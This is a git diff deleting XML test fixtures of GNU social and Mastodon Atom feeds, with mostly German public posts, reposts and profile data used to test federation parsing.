100644 index 8faab2304..000000000 --- a/test/fixtures/mastodon_conversation.xml +++ /dev/null @@ -1,30 +0,0 @@ - - - tag:mastodon.social,2017-08-28:objectId=16402826:objectType=Status - 2017-08-28T17:58:55Z - 2017-08-28T17:58:55Z - New status by lambadalambda - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>test. <a href="https://mastodon.social/media/XCp0OHGPON9kWZwhjaI" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">mastodon.social/media/XCp0OHGP</span><span class="invisible">ON9kWZwhjaI</span></a></p> - - - public - - - - diff --git a/test/fixtures/nil_mention_entry.xml b/test/fixtures/nil_mention_entry.xml deleted file mode 100644 index e13024cb3..000000000 --- a/test/fixtures/nil_mention_entry.xml +++ /dev/null @@ -1,52 +0,0 @@ - - - GNU social - https://social.stopwatchingus-heidelberg.de/api/statuses/user_timeline/18330.atom - atarifrosch timeline - Updates from atarifrosch on social.stopwatchingus-heidelberg.de! - https://social.stopwatchingus-heidelberg.de/avatar/18330-96-20150628163706.png - 2017-08-24T11:36:49+02:00 - - http://activitystrea.ms/schema/1.0/person - https://social.stopwatchingus-heidelberg.de/user/18330 - atarifrosch - Nerd, Pirat, Debian user, CAcert assurer, Geocacher, Freifunker. Autismus/Depression, agender. GnuPG Key-ID: 0xBCF81ADE - - - - - - atarifrosch - Atari-Frosch - Nerd, Pirat, Debian user, CAcert assurer, Geocacher, Freifunker. Autismus/Depression, agender. GnuPG Key-ID: 0xBCF81ADE - - Düsseldorf, NRW, Germany - - - homepage - https://www.atari-frosch.de/ - true - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978072:objectType=note - New note by atarifrosch - 2017-08-22 Bundesverfassungsgericht: Erfolgreiche Verfassungsbeschwerde gegen die Versagung vorläufiger Leistungen für Kosten der Unterkunft und Heizung – <a href="https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html" title="https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html" class="attachment" id="attachment-450768" rel="nofollow external">https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html</a> !<a href="http://quitter.se/group/2184/id" class="h-card group" title="HartzIV (hartziv)">hartziv</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-08-22T12:00:21+00:00 - 2017-08-22T12:00:21+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978072:objectType=thread:crc32=28a35f44 - - - - - - - - diff --git a/test/fixtures/ostatus_incoming_post.xml b/test/fixtures/ostatus_incoming_post.xml deleted file mode 100644 index 7967e1b32..000000000 --- a/test/fixtures/ostatus_incoming_post.xml +++ /dev/null @@ -1,57 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-04-29T18:25:38+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-29:noticeId=1967725:objectType=note - New note by lambadalambda - Will it blend? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T18:25:38+00:00 - 2017-04-29T18:25:38+00:00 - - tag:social.heldscal.la,2017-04-29:objectType=thread:nonce=3f3a9dd83acc4e35 - - - - - - diff --git a/test/fixtures/ostatus_incoming_post_tag.xml b/test/fixtures/ostatus_incoming_post_tag.xml deleted file mode 100644 index 0f99c4126..000000000 --- a/test/fixtures/ostatus_incoming_post_tag.xml +++ /dev/null @@ -1,59 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-04-29T18:25:38+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-29:noticeId=1967725:objectType=note - New note by lambadalambda - Will it blend? - - - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T18:25:38+00:00 - 2017-04-29T18:25:38+00:00 - - tag:social.heldscal.la,2017-04-29:objectType=thread:nonce=3f3a9dd83acc4e35 - - - - - - diff --git a/test/fixtures/ostatus_incoming_reply.xml b/test/fixtures/ostatus_incoming_reply.xml deleted file mode 100644 index 83a427a68..000000000 --- a/test/fixtures/ostatus_incoming_reply.xml +++ /dev/null @@ -1,60 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-04-30T09:30:32+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-04-30:noticeId=1978790:objectType=comment - New comment by lambadalambda - @<a href="https://gs.archae.me/user/4687" class="h-card u-url p-nickname mention" title="shpbot">shpbot</a> why not indeed. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-30T09:30:32+00:00 - 2017-04-30T09:30:32+00:00 - - - - https://gs.archae.me/conversation/327120 - - - - - - - diff --git a/test/fixtures/share-gs-local.xml b/test/fixtures/share-gs-local.xml deleted file mode 100644 index 9d52eab7b..000000000 --- a/test/fixtures/share-gs-local.xml +++ /dev/null @@ -1,99 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-03T08:05:41+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-03:noticeId=2028428:objectType=note - lambadalambda repeated a notice by lain - RT @<a href="https://pleroma.soykaf.com/users/lain" class="h-card u-url p-nickname mention" title="Lain Iwakura">lain</a> Added returning the entries as xml... let's see if the mastodon hammering stops now. - - http://activitystrea.ms/schema/1.0/share - 2017-05-03T08:05:41+00:00 - 2017-05-03T08:05:41+00:00 - - http://activitystrea.ms/schema/1.0/activity - LOCAL_ID - - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - http://activitystrea.ms/schema/1.0/post - 2017-05-03T08:04:44+00:00 - 2017-05-03T08:04:44+00:00 - - http://activitystrea.ms/schema/1.0/person - LOCAL_USER - lain - Test account - - - - - - lain - Lain Iwakura - Test account - - - - http://activitystrea.ms/schema/1.0/note - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - New note by lain - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - - - - https://pleroma.soykaf.com/contexts/ede39a2b-7cf3-4fa4-8ccd-cb97431bcc22 - - - https://pleroma.soykaf.com/users/lain/feed.atom - Lain Iwakura - - - https://social.heldscal.la/avatar/43188-96-20170429172422.jpeg - 2017-05-03T08:04:44+00:00 - - - - https://pleroma.soykaf.com/contexts/ede39a2b-7cf3-4fa4-8ccd-cb97431bcc22 - - - - - - diff --git a/test/fixtures/share-gs.xml b/test/fixtures/share-gs.xml deleted file mode 100644 index ab5e488bd..000000000 --- a/test/fixtures/share-gs.xml +++ /dev/null @@ -1,99 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-03T08:05:41+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-03:noticeId=2028428:objectType=note - lambadalambda repeated a notice by lain - RT @<a href="https://pleroma.soykaf.com/users/lain" class="h-card u-url p-nickname mention" title="Lain Iwakura">lain</a> Added returning the entries as xml... let's see if the mastodon hammering stops now. - - http://activitystrea.ms/schema/1.0/share - 2017-05-03T08:05:41+00:00 - 2017-05-03T08:05:41+00:00 - - http://activitystrea.ms/schema/1.0/activity - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - http://activitystrea.ms/schema/1.0/post - 2017-05-03T08:04:44+00:00 - 2017-05-03T08:04:44+00:00 - - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - Test account - - - - - - lain - Lain Iwakura - Test account - - - - http://activitystrea.ms/schema/1.0/note - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - New note by lain - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - - - - https://pleroma.soykaf.com/contexts/ede39a2b-7cf3-4fa4-8ccd-cb97431bcc22 - - - https://pleroma.soykaf.com/users/lain/feed.atom - Lain Iwakura - - - https://social.heldscal.la/avatar/43188-96-20170429172422.jpeg - 2017-05-03T08:04:44+00:00 - - - - https://pleroma.soykaf.com/contexts/ede39a2b-7cf3-4fa4-8ccd-cb97431bcc22 - - - - - - diff --git a/test/fixtures/share.xml b/test/fixtures/share.xml deleted file mode 100644 index e07b88680..000000000 --- a/test/fixtures/share.xml +++ /dev/null @@ -1,54 +0,0 @@ - - - tag:mastodon.social,2017-05-03:objectId=4934452:objectType=Status - 2017-05-03T08:21:09Z - 2017-05-03T08:21:09Z - lambadalambda shared a status by lain@pleroma.soykaf.com - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - 2017-05-03T08:04:44Z - 2017-05-03T08:05:52Z - New status by lain@pleroma.soykaf.com - - https://pleroma.soykaf.com/users/lain - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - lain@pleroma.soykaf.com - Test account - - - - lain - Lain Iwakura - Test account - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - public - - - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - public - - - diff --git a/test/fixtures/tesla_mock/7369654.atom b/test/fixtures/tesla_mock/7369654.atom deleted file mode 100644 index 74fd9ce6b..000000000 --- a/test/fixtures/tesla_mock/7369654.atom +++ /dev/null @@ -1,44 +0,0 @@ - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-22:noticeId=7369654:objectType=comment - New comment by shpuld - @<a href="https://testing.pleroma.lol/users/lain" class="h-card mention" title="Rael Electric Razor">lain</a> me far right - - - http://activitystrea.ms/schema/1.0/post - 2018-02-22T09:20:12+00:00 - 2018-02-22T09:20:12+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/5381 - shpuld - - - - - - shpuld - shp - - - - - - - tag:shitposter.club,2018-02-22:objectType=thread:nonce=e5a7c72d60a9c0e4 - - - - https://shitposter.club/api/statuses/user_timeline/5381.atom - shp - - - - https://shitposter.club/avatar/5381-96-20171230093854.png - 2018-02-23T13:30:15+00:00 - - - - - diff --git a/test/fixtures/tesla_mock/atarifrosch_feed.xml b/test/fixtures/tesla_mock/atarifrosch_feed.xml deleted file mode 100644 index e00df782e..000000000 --- a/test/fixtures/tesla_mock/atarifrosch_feed.xml +++ /dev/null @@ -1,473 +0,0 @@ - - - GNU social - https://social.stopwatchingus-heidelberg.de/api/statuses/user_timeline/18330.atom - atarifrosch-Zeitleiste - Aktualisierungen von atarifrosch auf social.stopwatchingus-heidelberg.de! - https://social.stopwatchingus-heidelberg.de/avatar/18330-96-20150628163706.png - 2017-08-24T12:06:55+02:00 - - http://activitystrea.ms/schema/1.0/person - https://social.stopwatchingus-heidelberg.de/user/18330 - atarifrosch - Nerd, Pirat, Debian user, CAcert assurer, Geocacher, Freifunker. Autismus/Depression, agender. GnuPG Key-ID: 0xBCF81ADE - - - - - - atarifrosch - Atari-Frosch - Nerd, Pirat, Debian user, CAcert assurer, Geocacher, Freifunker. Autismus/Depression, agender. GnuPG Key-ID: 0xBCF81ADE - - Düsseldorf, NRW, Germany - - - homepage - https://www.atari-frosch.de/ - true - - - - - - - - - - - - - - tag:social.stopwatchingus-heidelberg.de,2017-08-24:noticeId=978735:objectType=note - atarifrosch repeated a notice by hoergen - RT @<a href="https://social.hoergen.org/hoergen" class="h-card mention" title="hoergen">hoergen</a> Das falsche Bild der Tagesschau &quot;Auffallend &quot;erfolgreich&quot; - Andrea Nahles und Manuela Schwesig&quot; #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/geringverdiener" rel="tag">Geringverdiener</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/mindestlohn" rel="tag">Mindestlohn</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/mannxismus" rel="tag">mannxismus</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/erwerbsminderungsrente" rel="tag">Erwerbsminderungsrente</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/arbeitnehmerflexibilisierung" rel="tag">ArbeitnehmerFlexibilisierung</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/altersarmut" rel="tag">AltersArmut</a></span> ..... <a href="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" title="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" class="attachment" id="attachment-450858" rel="nofollow external">http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html</a> - https://social.stopwatchingus-heidelberg.de/notice/978735 - http://activitystrea.ms/schema/1.0/share - 2017-08-24T09:18:25+00:00 - 2017-08-24T09:18:25+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:social.hoergen.org,2017-08-24:noticeId=222320:objectType=note - - Das falsche Bild der Tagesschau <br /> &quot;Auffallend &quot;erfolgreich&quot; - Andrea Nahles und Manuela Schwesig&quot; #<span class="tag"><a href="https://social.hoergen.org/tag/geringverdiener" rel="tag">Geringverdiener</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/mindestlohn" rel="tag">Mindestlohn</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/mannxismus" rel="tag">mannxismus</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/erwerbsminderungsrente" rel="tag">Erwerbsminderungsrente</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/arbeitnehmerflexibilisierung" rel="tag">ArbeitnehmerFlexibilisierung</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/altersarmut" rel="tag">AltersArmut</a></span> ..... <br /> <br /> <a href="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" title="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" rel="nofollow external noreferrer" class="attachment">http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html</a> - https://social.hoergen.org/notice/222320 - http://activitystrea.ms/schema/1.0/post - 2017-08-24T07:36:31+00:00 - 2017-08-24T07:36:31+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.hoergen.org/user/2 - hoergen - aka Andi Memyself #humanist #nerd Menschen liebhabender Misanthrop und auch sonst sehr vielseitig interessiert. - - - - - - hoergen - hoergen - aka Andi Memyself #humanist #nerd Menschen liebhabender Misanthrop und auch sonst sehr vielseitig interessiert. - - Berlin - - - homepage - https://hyperblog.de/hoergen/ - true - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.hoergen.org,2017-08-24:noticeId=222320:objectType=note - New note by hoergen - Das falsche Bild der Tagesschau <br /> &quot;Auffallend &quot;erfolgreich&quot; - Andrea Nahles und Manuela Schwesig&quot; #<span class="tag"><a href="https://social.hoergen.org/tag/geringverdiener" rel="tag">Geringverdiener</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/mindestlohn" rel="tag">Mindestlohn</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/mannxismus" rel="tag">mannxismus</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/erwerbsminderungsrente" rel="tag">Erwerbsminderungsrente</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/arbeitnehmerflexibilisierung" rel="tag">ArbeitnehmerFlexibilisierung</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/altersarmut" rel="tag">AltersArmut</a></span> ..... <br /> <br /> <a href="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" title="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" rel="nofollow external noreferrer" class="attachment">http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html</a> - - - - - https://social.hoergen.org/conversation/98616 - - - - - - - - - https://social.hoergen.org/api/statuses/user_timeline/2.atom - hoergen - - - https://social.stopwatchingus-heidelberg.de/avatar/54316-original-20170824072526.jpeg - 2017-08-24T09:48:30+00:00 - - - - https://social.hoergen.org/conversation/98616 - - - - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.stopwatchingus-heidelberg.de,2017-08-24:noticeId=978734:objectType=comment - New comment by atarifrosch - Jo, die Anzahl der Hartz-IV-Sanktionen nennt sie genausowenig wie die Anzahl der Menschen, die von den Repressionsbehörden in Obdachlosigkeit und Suizid getrieben wurden. Das würde die Erfolgszahlen dann doch ein wenig trüben, nech? - - - http://activitystrea.ms/schema/1.0/post - 2017-08-24T09:18:13+00:00 - 2017-08-24T09:18:13+00:00 - - - - https://social.hoergen.org/conversation/98616 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-24:noticeId=978732:objectType=note - New note by atarifrosch - Moin-quak. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-24T09:09:39+00:00 - 2017-08-24T09:09:39+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-24:noticeId=978732:objectType=thread:crc32=2f92b7b6 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978594:objectType=note - New note by atarifrosch - n8-quak! - - - http://activitystrea.ms/schema/1.0/post - 2017-08-23T21:39:54+00:00 - 2017-08-23T21:39:54+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978594:objectType=thread:crc32=9bdb0ac9 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978503:objectType=note - New note by atarifrosch - 2017-08-16 Michal Špaček: Post a boarding pass on Facebook, get your account stolen – Post a boarding pass on Facebook, get your account stolen (gilt übrinx nicht nur für Facebook) - - - http://activitystrea.ms/schema/1.0/post - 2017-08-23T15:14:29+00:00 - 2017-08-23T15:14:29+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978503:objectType=thread:crc32=3de05c3a - - - - - - - tag:social.stopwatchingus-heidelberg.de,2017-08-23:fave:18330:activity:978458:2017-08-23T15:18:19+02:00 - Favorite - atarifrosch favorited something by einebiene: Haha, große Überraschung. <a href="http://www.sueddeutsche.de/wirtschaft/abgasaffaere-software-updates-fuer-dieselautos-helfen-kaum-1.3637636" title="http://www.sueddeutsche.de/wirtschaft/abgasaffaere-software-updates-fuer-dieselautos-helfen-kaum-1.3637636" rel="nofollow noreferrer" class="attachment">https://quitter.is/url/1122672</a><br /> Was ich an all diesen Artikeln schade finde, ist, daß immer nur auf den Umstieg von Auto zu anderem Auto gesprochen wird. Öffis werden nicht erwähnt, Carsharing nicht, radeln nicht, und in der Stadt wäre ne Vespa auch deutlich besser als ein SUV. - http://activitystrea.ms/schema/1.0/favorite - 2017-08-23T13:18:19+00:00 - 2017-08-23T13:18:19+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:quitter.is,2017-08-23:noticeId=4032910:objectType=note - New note by einebiene - Haha, große Überraschung. <a href="http://www.sueddeutsche.de/wirtschaft/abgasaffaere-software-updates-fuer-dieselautos-helfen-kaum-1.3637636" title="http://www.sueddeutsche.de/wirtschaft/abgasaffaere-software-updates-fuer-dieselautos-helfen-kaum-1.3637636" rel="nofollow noreferrer" class="attachment">https://quitter.is/url/1122672</a><br /> Was ich an all diesen Artikeln schade finde, ist, daß immer nur auf den Umstieg von Auto zu anderem Auto gesprochen wird. Öffis werden nicht erwähnt, Carsharing nicht, radeln nicht, und in der Stadt wäre ne Vespa auch deutlich besser als ein SUV. - - - - - - - https://quitter.is/conversation/2535246 - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978402:objectType=note - New note by atarifrosch - moin-quak - - - http://activitystrea.ms/schema/1.0/post - 2017-08-23T10:57:26+00:00 - 2017-08-23T10:57:26+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978402:objectType=thread:crc32=7050c397 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978164:objectType=note - New note by atarifrosch - n8-quak - - - http://activitystrea.ms/schema/1.0/post - 2017-08-22T19:54:30+00:00 - 2017-08-22T19:54:30+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978164:objectType=thread:crc32=b0a209c7 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978072:objectType=note - New note by atarifrosch - 2017-08-22 Bundesverfassungsgericht: Erfolgreiche Verfassungsbeschwerde gegen die Versagung vorläufiger Leistungen für Kosten der Unterkunft und Heizung – <a href="https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html" title="https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html" class="attachment" id="attachment-450768" rel="nofollow external">https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html</a> !<a href="http://quitter.se/group/2184/id" class="h-card group" title="HartzIV (hartziv)">hartziv</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-08-22T12:00:21+00:00 - 2017-08-22T12:00:21+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978072:objectType=thread:crc32=28a35f44 - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978042:objectType=note - New note by atarifrosch - moin-quak! - - - http://activitystrea.ms/schema/1.0/post - 2017-08-22T07:55:27+00:00 - 2017-08-22T07:55:27+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978042:objectType=thread:crc32=f070a9f7 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-21:noticeId=977914:objectType=note - New note by atarifrosch - So, morgen geht's weiter. n8-quak! - - - http://activitystrea.ms/schema/1.0/post - 2017-08-21T22:09:53+00:00 - 2017-08-21T22:09:53+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-21:noticeId=977914:objectType=thread:crc32=c0a9f7fa - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-21:noticeId=977710:objectType=note - New note by atarifrosch - moin-quak. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-21T08:58:26+00:00 - 2017-08-21T08:58:26+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-21:noticeId=977710:objectType=thread:crc32=60cfb466 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-20:noticeId=977526:objectType=note - New note by atarifrosch - Meine Augen meinen, für heute sei es genug. Nun denn. n8-quak. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-20T19:58:16+00:00 - 2017-08-20T19:58:16+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-20:noticeId=977526:objectType=thread:crc32=ce79634 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-20:noticeId=977369:objectType=note - New note by atarifrosch - [Blog] Im Netz aufgefischt #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/330" rel="tag">330</a></span> – <a href="https://blog.atari-frosch.de/2017/08/20/im-netz-aufgefischt-330/" title="https://blog.atari-frosch.de/2017/08/20/im-netz-aufgefischt-330/" class="attachment" id="attachment-450668" rel="nofollow external">https://blog.atari-frosch.de/2017/08/20/im-netz-aufgefischt-330/</a> (was ich diese Woche so gelesen habe) - - - http://activitystrea.ms/schema/1.0/post - 2017-08-20T09:14:07+00:00 - 2017-08-20T09:14:07+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-20:noticeId=977369:objectType=thread:crc32=2f800b86 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=977268:objectType=note - New note by atarifrosch - Fast ständig husten müssen ist echt anstrengend … naja, n8-quak. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-19T21:59:20+00:00 - 2017-08-19T21:59:20+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=977268:objectType=thread:crc32=deda767a - - - - - - - tag:social.stopwatchingus-heidelberg.de,2017-08-19:fave:18330:activity:977146:2017-08-19T21:39:26+02:00 - Favorite - atarifrosch favorited something by einebienezwo: Ich mach gerade Kompetenztraining.<br /> Ich trainiere die Kompetenz, eine halb aufgegessene Gummibärchentüte nicht ganz aufzuessen. - http://activitystrea.ms/schema/1.0/favorite - 2017-08-19T19:39:26+00:00 - 2017-08-19T19:39:26+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gnusocial.de,2017-08-19:noticeId=11011264:objectType=note - New note by einebienezwo - Ich mach gerade Kompetenztraining.<br /> Ich trainiere die Kompetenz, eine halb aufgegessene Gummibärchentüte nicht ganz aufzuessen. - - - - - - - https://gnusocial.de/conversation/9363945 - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=977242:objectType=comment - New comment by atarifrosch - Wir hatten hier schon Ordnungsdienst auf'm Radweg. Fotografisch dokumentiert (nicht von mir, Bekannter hatte es gesehen). Da hatte grad 'ne Pizzeria neu eröffnet … - - - http://activitystrea.ms/schema/1.0/post - 2017-08-19T19:38:53+00:00 - 2017-08-19T19:38:53+00:00 - - - - https://gnusocial.de/conversation/9363813 - - - - - - - - tag:social.stopwatchingus-heidelberg.de,2017-08-19:fave:18330:activity:977180:2017-08-19T21:37:36+02:00 - Favorite - atarifrosch favorited something by jcaktiv: BTW Hallo zusammen &lt;3, wo ich schon mal wieder hier bin - http://activitystrea.ms/schema/1.0/favorite - 2017-08-19T19:37:36+00:00 - 2017-08-19T19:37:36+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:quitter.se,2017-08-19:noticeId=17372467:objectType=note - New note by jcaktiv - BTW Hallo zusammen &lt;3, wo ich schon mal wieder hier bin - - - - - - - tag:quitter.se,2017-08-19:objectType=thread:nonce=46c1c433d88aaa9f - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=976985:objectType=comment - New comment by atarifrosch - Jo, oder einfach mal nachfragen, so als Realitätsabgleich. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-19T10:34:50+00:00 - 2017-08-19T10:34:50+00:00 - - - - https://gnusocial.de/conversation/9362516 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=976983:objectType=note - New note by atarifrosch - Schöne Alternative zu mit Werbung überladenen kommerziellen Anbietern: <a href="http://ifconfig.at/" title="http://ifconfig.at/" class="attachment" id="attachment-450636" rel="nofollow external">http://ifconfig.at/</a> – eigene IP, Hostname etc. abfragen, mit curl dann auch in Textform zur lokalen Weiterverarbeitung in Scripten etc. Leider (noch?) kein https. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-19T10:33:04+00:00 - 2017-08-19T10:33:04+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=976983:objectType=thread:crc32=4a3593c0 - - - - - - diff --git a/test/fixtures/tesla_mock/emelie.atom b/test/fixtures/tesla_mock/emelie.atom deleted file mode 100644 index ddaa1c6ca..000000000 --- a/test/fixtures/tesla_mock/emelie.atom 